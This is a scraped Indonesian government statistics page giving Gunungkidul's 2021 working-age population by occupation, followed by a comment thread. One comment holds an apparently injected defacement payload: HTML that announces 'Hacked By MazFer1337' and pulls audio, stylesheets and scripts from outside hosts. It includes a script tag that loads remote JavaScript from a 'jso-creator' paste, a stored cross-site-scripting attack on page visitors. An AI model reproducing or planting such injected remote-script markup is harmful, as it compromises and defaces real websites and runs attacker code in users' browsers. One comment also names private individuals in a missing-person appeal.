Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

JUMLAH PENDUDUK USIA KERJA KABUPATEN GUNUNGKIDUL, D.I Yogyakarta SEMESTER I 2021
Menurut Jenis Pekerjaan

Silakan Login atau Daftar untuk mengunduh berkas
Kemantren / Kapanewon Bukan Angkatan Kerja Angkatan Kerja
MENGURUS RUMAH TANGGA PELAJAR/MAHASISWA PENSIUNAN BELUM BEKERJA ASN TNI POLRI PEJABAT NEGARA BURUH /TUKANG BERKEAHLIAN KHUSUS SEKTOR PERTANIAN /PETERNAKAN /PERIKANAN KARYAWAN BUMN/BUMD KARYAWAN SWASTA WIRASWASATA TENAGA MEDIS PEKERJAAN LAINNYA TOTAL
L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P
WONOSARI 0 12.040 12.040 5.749 5.242 10.991 1.063 435 1.498 1.040 955 1.995 1.469 1.118 2.587 151 1 152 346 17 363 6 1 7 6.847 1.569 8.416 4.516 6.311 10.827 194 70 264 5.614 3.887 9.501 7.895 4.658 12.553 30 138 168 220 59 279 35.140 36.501 71.641
NGLIPAR 0 4.404 4.404 1.905 1.575 3.480 213 45 258 600 464 1.064 217 118 335 12 0 12 31 0 31 3 0 3 1.317 337 1.654 4.108 4.481 8.589 13 2 15 1.575 949 2.524 3.394 1.436 4.830 5 15 20 94 22 116 13.487 13.848 27.335
PLAYEN 0 7.589 7.589 3.611 3.007 6.618 753 233 986 1.298 1.056 2.354 866 625 1.491 63 1 64 87 9 96 3 1 4 4.162 1.125 5.287 6.207 7.762 13.969 84 24 108 3.506 2.259 5.765 3.466 1.709 5.175 16 70 86 229 50 279 24.351 25.520 49.871
PATUK 0 4.468 4.468 1.997 1.721 3.718 205 63 268 462 489 951 215 149 364 26 0 26 28 4 32 0 0 0 1.754 677 2.431 3.918 4.301 8.219 20 7 27 1.888 1.183 3.071 2.961 1.159 4.120 3 18 21 144 55 199 13.621 14.294 27.915
PALIYAN 0 2.654 2.654 1.401 1.458 2.859 241 55 296 412 522 934 224 154 378 23 1 24 32 2 34 1 2 3 2.345 808 3.153 3.797 5.579 9.376 16 8 24 1.278 830 2.108 3.206 1.698 4.904 3 15 18 110 26 136 13.089 13.812 26.901
PANGGANG 0 1.731 1.731 1.203 1.165 2.368 135 33 168 206 292 498 139 83 222 11 1 12 24 0 24 2 1 3 1.385 360 1.745 5.567 6.916 12.483 12 8 20 1.429 1.022 2.451 1.667 950 2.617 2 18 20 107 31 138 11.889 12.611 24.500
TEPUS 0 1.463 1.463 1.405 1.178 2.583 135 29 164 416 344 760 117 63 180 0 0 0 5 0 5 2 0 2 1.957 1.218 3.175 6.502 8.727 15.229 5 0 5 1.543 1.106 2.649 3.080 2.015 5.095 0 2 2 128 20 148 15.295 16.165 31.460
SEMANU 0 6.769 6.769 2.485 2.178 4.663 240 60 300 1.439 1.209 2.648 262 179 441 30 0 30 52 2 54 1 0 1 5.994 2.034 8.028 8.363 10.231 18.594 38 15 53 3.379 1.707 5.086 1.870 908 2.778 9 29 38 144 28 172 24.306 25.349 49.655
KARANGMOJO 0 7.974 7.974 3.223 2.782 6.005 564 175 739 1.009 1.037 2.046 491 336 827 32 0 32 57 3 60 2 0 2 3.961 868 4.829 6.191 7.072 13.263 32 12 44 4.525 2.394 6.919 2.154 921 3.075 13 36 49 182 40 222 22.436 23.650 46.086
PONJONG 0 5.453 5.453 3.009 2.541 5.550 395 148 543 817 672 1.489 355 287 642 16 0 16 32 2 34 1 0 1 3.233 1.265 4.498 8.202 9.742 17.944 33 12 45 4.259 2.289 6.548 2.176 1.005 3.181 6 31 37 191 42 233 22.725 23.489 46.214
RONGKOP 0 1.662 1.662 1.335 1.123 2.458 142 23 165 274 226 500 154 107 261 5 0 5 11 0 11 2 0 2 1.137 529 1.666 5.252 7.046 12.298 12 3 15 1.820 1.082 2.902 2.130 1.054 3.184 2 8 10 168 16 184 12.444 12.879 25.323
SEMIN 0 6.621 6.621 3.337 2.554 5.891 196 38 234 1.769 1.640 3.409 270 176 446 17 0 17 33 0 33 2 0 2 4.970 2.904 7.874 4.790 5.150 9.940 13 12 25 3.035 1.785 4.820 4.566 2.003 6.569 8 16 24 205 841 1.046 23.211 23.740 46.951
NGAWEN 0 4.260 4.260 2.260 1.835 4.095 154 31 185 781 887 1.668 163 111 274 8 0 8 15 0 15 2 0 2 3.133 1.256 4.389 3.940 4.030 7.970 12 9 21 1.827 1.095 2.922 1.534 724 2.258 2 19 21 116 27 143 13.947 14.284 28.231
GEDANGSARI 0 3.308 3.308 2.087 1.784 3.871 46 6 52 680 597 1.277 95 50 145 6 1 7 7 0 7 2 0 2 4.003 2.270 6.273 4.987 5.854 10.841 5 1 6 1.114 811 1.925 2.517 1.265 3.782 1 13 14 117 28 145 15.667 15.988 31.655
SAPTOSARI 0 2.181 2.181 1.439 1.424 2.863 88 11 99 428 416 844 129 76 205 8 0 8 15 3 18 0 0 0 4.654 1.561 6.215 6.379 9.340 15.719 10 1 11 1.202 887 2.089 1.382 712 2.094 1 15 16 142 16 158 15.877 16.643 32.520
GIRISUBO 0 1.352 1.352 1.168 985 2.153 81 9 90 228 138 366 114 63 177 1 0 1 5 0 5 0 0 0 1.089 476 1.565 5.692 6.822 12.514 5 5 10 1.407 889 2.296 748 370 1.118 3 8 11 158 23 181 10.699 11.140 21.839
TANJUNGSARI 0 1.482 1.482 1.015 767 1.782 104 12 116 881 702 1.583 159 80 239 5 0 5 13 2 15 1 0 1 1.932 1.086 3.018 5.101 6.646 11.747 11 4 15 655 456 1.111 1.982 1.393 3.375 5 13 18 113 21 134 11.977 12.664 24.641
PURWOSARI 0 1.159 1.159 1.009 1.003 2.012 52 8 60 153 129 282 87 64 151 2 0 2 7 2 9 0 0 0 1.815 790 2.605 4.134 5.230 9.364 5 0 5 634 383 1.017 392 167 559 5 10 15 78 20 98 8.373 8.965 17.338
Jumlah 0 76.570 76.570 39.638 34.322 73.960 4.807 1.414 6.221 12.893 11.775 24.668 5.526 3.839 9.365 416 5 421 800 46 846 30 5 35 55.688 21.133 76.821 97.646 121.240 218.886 520 193 713 40.690 25.014 65.704 47.120 24.147 71.267 114 474 588 2.646 1.365 4.011 308.534 321.542 630.076
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY
Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih